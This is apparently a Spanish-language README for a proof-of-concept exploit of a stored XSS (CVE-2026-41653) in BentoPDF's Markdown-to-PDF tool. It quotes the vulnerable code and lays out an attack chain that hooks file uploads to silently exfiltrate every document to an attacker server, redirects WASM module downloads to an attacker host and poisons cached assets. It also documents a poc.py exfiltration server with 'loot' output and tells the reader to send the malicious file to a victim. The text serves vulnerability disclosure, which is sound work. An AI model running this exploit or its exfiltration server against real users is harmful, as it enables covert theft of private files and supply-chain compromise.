
Prueba de concepto del exploit para CVE-2026-41653, un XSS almacenado en BentoPDF que permite la exfiltración silenciosa de archivos y el secuestro de la cadena de suministro de WASM.
Descubierto y reportado por: Astaruf
Informe completo: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
Aviso upstream: Aviso GHSA de alam00000/bentopdf
Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF es una caja de herramientas PDF autohospedada que se ejecuta en el navegador (comprimir, fusionar, dividir, rotar, convertir, Markdown a PDF, etc.).
La herramienta Markdown-to-PDF pasa el Markdown proporcionado por el usuario a través de markdown-it con html: true e inyecta la salida renderizada directamente en el DOM mediante innerHTML sin saneamiento. Un atacante que entregue un archivo .md manipulado logra la ejecución arbitraria de JavaScript en el origen de BentoPDF.
Debido a que BentoPDF es una aplicación completamente del lado del cliente, cada herramienta (Comprimir PDF, Fusionar PDF, Dividir PDF, etc.) carga y procesa archivos directamente en el navegador de la víctima. Por lo tanto, un solo XSS es suficiente para exfiltrar silenciosamente todos los documentos que la víctima abra en cualquier herramienta durante la sesión.
El atacante envía report.md (que contiene )
-> La víctima lo abre en Markdown-to-PDF
-> markdown-it renderiza HTML sin procesar (html: true)
-> preview.innerHTML = html (sin DOMPurify)
-> poc_payload.js se carga desde el servidor del atacante (sin CSP)
-> FileReader + <input type=file> enganchados en toda la aplicación
-> una ventana emergente oculta reinyecta los enganches en cada navegación entre herramientas
-> cada archivo que la víctima abre se exfiltra silenciosamente
localStorage['bentopdf:wasm-providers'], redirigiendo las descargas de los módulos WASM de PyMuPDF, Ghostscript y cpdf a un host controlado por el atacante.window.opener y reinyecta los enganches de archivos cada vez que la víctima navega a una herramienta diferente, manteniendo el acceso durante toda la sesión.bentopdf-*, añadiendo un enganche de exfiltración a cada archivo /assets/*.js servido al navegador más allá de la sesión actual.markdown-it (CWE-79)src/js/utils/markdown-editor.ts (líneas 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // las etiquetas HTML sin procesar pasan a través del analizador de Markdown
breaks: false,
linkify: true,
typographer: true,
};
Etiquetas como ``, <svg>, <details> y cualquier atributo de manejador de eventos (onerror, onload, ontoggle) se reenvían al DOM tal cual.
innerHTML sin saneamiento (CWE-116)src/js/utils/markdown-editor.ts (líneas 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // HTML controlado por el atacante inyectado en el DOM
this.renderMermaidDiagrams();
}
No se aplica ninguna biblioteca de saneamiento entre markdown-it e innerHTML. El navegador analiza la cadena inyectada, encuentra el manejador de eventos en línea y lo ejecuta inmediatamente.
nginx.conf se distribuye sin cabecera Content-Security-Policy. El JavaScript inyectado puede cargar libremente scripts externos, realizar solicitudes fetch() a cualquier host y abrir ventanas emergentes. Una CSP restrictiva habría impedido la etapa de carga de scripts externos incluso con el sumidero intacto.
# Iniciar el servidor del atacante para la exfiltración
python3 poc.py --lhost <TU_IP> --lport 9999
# poc.py hará lo siguiente:
# - generará el payload poc_report.md en el directorio actual
# - comenzará a escuchar las llamadas de la víctima y los archivos exfiltrados
Envía poc_report.md a la víctima y pídele que lo abra en BentoPDF → Markdown-to-PDF. El payload se activa en el momento en que se renderiza la vista previa, y todos los archivos que la víctima suba en el futuro se exfiltran al servidor del atacante.
| Opción | Predeterminado | Descripción |
|---|---|---|
--lhost | obligatorio | IP accesible desde el navegador de la víctima |
--lport | 9999 | Puerto de escucha |
--loot-dir | ./loot/ | Directorio donde se guardan los archivos exfiltrados |
--log-file | ninguno | Añade todos los eventos a un archivo (los códigos ANSI se eliminan) |
--no-color | desactivado | Desactiva los colores ANSI en la salida del terminal |
1. Servidor del atacante iniciado con --lhost y --lport. El poc_report.md malicioso se genera automáticamente.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
PoC by Astaruf (https://nstsec.com)
========================================================================
Servidor de exfiltración: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Directorio de botín: /home/kali/loot
========================================================================
Archivo .md malicioso listo: /home/kali/poc_report.md
Envíalo a la víctima y pídele que lo abra en la herramienta Markdown-to-PDF.
El payload se activa en cuanto se renderiza la vista previa.
========================================================================
Esperando víctimas...
2. La víctima abre la herramienta Markdown-to-PDF en BentoPDF.

3. La víctima carga poc_report.md. La vista previa se renderiza, `` no puede cargarse y se activa onerror. poc_payload.js se obtiene del servidor del atacante sin que ninguna CSP lo bloquee.